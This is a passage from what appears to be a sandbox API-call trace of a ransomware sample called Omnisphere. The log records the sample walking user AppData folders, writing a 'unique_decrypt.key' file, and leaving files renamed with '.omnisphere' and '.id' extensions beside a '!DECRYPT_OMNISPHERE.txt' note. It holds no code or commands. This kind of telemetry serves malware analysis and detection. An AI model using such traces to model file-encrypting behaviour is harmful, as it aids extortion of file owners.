returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\unique_decrypt.key" [0081.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0081.412] WriteFile (in: hFile=0x3a4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0081.414] CloseHandle (hObject=0x3a4) returned 1 [0081.414] GetProcessHeap () returned 0x1600000 [0081.414] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e1a8 | out: hHeap=0x1600000) returned 1 [0081.414] GetProcessHeap () returned 0x1600000 [0081.414] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e100 | out: hHeap=0x1600000) returned 1 [0081.414] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0xd9, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 0 [0081.414] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0081.414] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x119ea1cf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x119ea1cf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0081.415] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x119ea1cf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x119ea1cf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.415] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119ea1cf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x119ea1cf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x119ea1cf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0081.415] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x11977be7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4e6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml.omnisphere", cAlternateFileName="SONAR_~1.OMN")) returned 1 [0081.415] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11977be7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11977be7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11977be7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml.omnisphere.id", cAlternateFileName="SONAR_~1.ID")) returned 1 [0081.415] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119ea1cf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x119ea1cf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x119ea1cf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0081.415] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119ea1cf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x119ea1cf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x119ea1cf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0081.415] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0081.415] GetProcessHeap () returned 0x1600000 [0081.415] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16683d8 | out: hHeap=0x1600000) returned 1 [0081.415] GetProcessHeap () returned 0x1600000 [0081.415] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1640080 | out: hHeap=0x1600000) returned 1 [0081.415] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 0 [0081.415] FindClose (in: hFindFile=0x1639768 | out: hFindFile=0x1639768) returned 1 [0081.415] GetProcessHeap () returned 0x1600000 [0081.415] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x161d0c0 | out: hHeap=0x1600000) returned 1 [0081.415] GetProcessHeap () returned 0x1600000 [0081.415] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0081.415] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 0 [0081.416] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0081.416] GetProcessHeap () returned 0x1600000 [0081.416] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1648c90 | out: hHeap=0x1600000) returned 1 [0081.416] GetProcessHeap () returned 0x1600000 [0081.416] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165fbe8 | out: hHeap=0x1600000) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40cd7010, ftCreationTime.dwHighDateTime=0x1d4cf6c, ftLastAccessTime.dwLowDateTime=0x6f76ac80, ftLastAccessTime.dwHighDateTime=0x1d4d2bc, ftLastWriteTime.dwLowDateTime=0x6ba8fdd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xbf1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="dFw90W0ozbqlw.mkv.omnisphere", cAlternateFileName="DFW90W~1.OMN")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b82f14, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6b82f14, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6b82f14, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="dFw90W0ozbqlw.mkv.omnisphere.id", cAlternateFileName="DFW90W~1.ID")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c37250, ftCreationTime.dwHighDateTime=0x1d4d48b, ftLastAccessTime.dwLowDateTime=0xe42ba110, ftLastAccessTime.dwHighDateTime=0x1d4cf43, ftLastWriteTime.dwLowDateTime=0x6bcf2ff, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x14670, dwReserved0=0x0, dwReserved1=0x0, cFileName="DUv6 W1yQ.jpg.omnisphere", cAlternateFileName="DUV6W1~1.OMN")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf2ff, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6bcf2ff, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6bcf2ff, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="DUv6 W1yQ.jpg.omnisphere.id", cAlternateFileName="DUV6W1~1.ID")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefc66d0, ftCreationTime.dwHighDateTime=0x1d4cda1, ftLastAccessTime.dwLowDateTime=0x964385d0, ftLastAccessTime.dwHighDateTime=0x1d4c683, ftLastWriteTime.dwLowDateTime=0x6c1b77b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xe1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="fXjbV28LC0IFk.png.omnisphere", cAlternateFileName="FXJBV2~1.OMN")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bf542f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6bf542f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6c1b77b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="fXjbV28LC0IFk.png.omnisphere.id", cAlternateFileName="FXJBV2~1.ID")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x541b51b0, ftCreationTime.dwHighDateTime=0x1d4c773, ftLastAccessTime.dwLowDateTime=0xf3a37c50, ftLastAccessTime.dwHighDateTime=0x1d4d23e, ftLastWriteTime.dwLowDateTime=0x6c6beea, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5f2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="gRmt1-B0wood4cXHs.png.omnisphere", cAlternateFileName="GRMT1-~1.OMN")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c41ab7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6c41ab7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6c6beea, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="gRmt1-B0wood4cXHs.png.omnisphere.id", cAlternateFileName="GRMT1-~1.ID")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa84bfe40, ftCreationTime.dwHighDateTime=0x1d4c892, ftLastAccessTime.dwLowDateTime=0xf4d21e50, ftLastAccessTime.dwHighDateTime=0x1d4d5cd, ftLastWriteTime.dwLowDateTime=0x6cb413d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x16bb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hHGe8VXor0p6BX.m4a.omnisphere", cAlternateFileName="HHGE8V~1.OMN")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cb413d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6cb413d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6cb413d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="hHGe8VXor0p6BX.m4a.omnisphere.id", cAlternateFileName="HHGE8V~1.ID")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bd8c50, ftCreationTime.dwHighDateTime=0x1d4c7a3, ftLastAccessTime.dwLowDateTime=0xa1d2acf0, ftLastAccessTime.dwHighDateTime=0x1d4c804, ftLastWriteTime.dwLowDateTime=0x6d005ba, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x25dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="hp5HOWNcI9SrI.xlsx.omnisphere", cAlternateFileName="HP5HOW~1.OMN")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d005ba, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6d005ba, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6d005ba, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="hp5HOWNcI9SrI.xlsx.omnisphere.id", cAlternateFileName="HP5HOW~1.ID")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc947c0, ftCreationTime.dwHighDateTime=0x1d4d412, ftLastAccessTime.dwLowDateTime=0x5abe1300, ftLastAccessTime.dwHighDateTime=0x1d4cd9e, ftLastWriteTime.dwLowDateTime=0x6d4e043, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x142af, dwReserved0=0x0, dwReserved1=0x0, cFileName="I-BWfibG3J13RaqGB.pptx.omnisphere", cAlternateFileName="I-BWFI~1.OMN")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d4e043, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6d4e043, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6d4e043, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="I-BWfibG3J13RaqGB.pptx.omnisphere.id", cAlternateFileName="I-BWFI~1.ID")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33b2c10, ftCreationTime.dwHighDateTime=0x1d4c877, ftLastAccessTime.dwLowDateTime=0xc12f93f0, ftLastAccessTime.dwHighDateTime=0x1d4d1ba, ftLastWriteTime.dwLowDateTime=0x6e7de2d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x72af, dwReserved0=0x0, dwReserved1=0x0, cFileName="i74al7MC18tUuay.m4a.omnisphere", cAlternateFileName="I74AL7~1.OMN")) returned 1 [0081.416] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e7de2d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6e7de2d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6e7de2d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="i74al7MC18tUuay.m4a.omnisphere.id", cAlternateFileName="I74AL7~1.ID")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f851310, ftCreationTime.dwHighDateTime=0x1d4cb64, ftLastAccessTime.dwLowDateTime=0x2da91600, ftLastAccessTime.dwHighDateTime=0x1d4d03f, ftLastWriteTime.dwLowDateTime=0x6f3ca01, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x10b8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="JDQEwi6ArW.xls.omnisphere", cAlternateFileName="JDQEWI~1.OMN")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ca01, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6f3ca01, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6f3ca01, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="JDQEwi6ArW.xls.omnisphere.id", cAlternateFileName="JDQEWI~1.ID")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732eaf50, ftCreationTime.dwHighDateTime=0x1d4cf36, ftLastAccessTime.dwLowDateTime=0x8563a270, ftLastAccessTime.dwHighDateTime=0x1d4ca54, ftLastWriteTime.dwLowDateTime=0x6faf154, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1928b, dwReserved0=0x0, dwReserved1=0x0, cFileName="k0UuJx_g_DcQHkPS7.png.omnisphere", cAlternateFileName="K0UUJX~1.OMN")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf154, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x6faf154, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x6faf154, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="k0UuJx_g_DcQHkPS7.png.omnisphere.id", cAlternateFileName="K0UUJX~1.ID")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d95e60, ftCreationTime.dwHighDateTime=0x1d4ca1d, ftLastAccessTime.dwLowDateTime=0x33bd7eb0, ftLastAccessTime.dwHighDateTime=0x1d4c67f, ftLastWriteTime.dwLowDateTime=0x702170f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4f2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="KEBUC5mjwXRfQmP-VL.wav.omnisphere", cAlternateFileName="KEBUC5~1.OMN")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702170f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x702170f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x702170f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="KEBUC5mjwXRfQmP-VL.wav.omnisphere.id", cAlternateFileName="KEBUC5~1.ID")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6d0e00, ftCreationTime.dwHighDateTime=0x1d4c708, ftLastAccessTime.dwLowDateTime=0x39d6c6b0, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0x70e02c4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x13dc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LC8mHy4MO_lq.flv.omnisphere", cAlternateFileName="LC8MHY~1.OMN")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x706de28, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x706de28, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x70e02c4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="LC8mHy4MO_lq.flv.omnisphere.id", cAlternateFileName="LC8MHY~1.ID")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee8d250, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x15f80520, ftLastAccessTime.dwHighDateTime=0x1d4d576, ftLastWriteTime.dwLowDateTime=0x71eb397, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x95df, dwReserved0=0x0, dwReserved1=0x0, cFileName="LX62 bOC84McF_7.jpg.omnisphere", cAlternateFileName="LX62BO~1.OMN")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71eb397, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x71eb397, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x71eb397, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="LX62 bOC84McF_7.jpg.omnisphere.id", cAlternateFileName="LX62BO~1.ID")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0081.417] GetProcessHeap () returned 0x1600000 [0081.417] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a730 [0081.417] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="Macromedia" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia" [0081.417] GetProcessHeap () returned 0x1600000 [0081.417] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x68) returned 0x163a0a0 [0081.417] PathCombineW (in: pszDest=0x163a0a0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*" [0081.417] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0081.417] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, 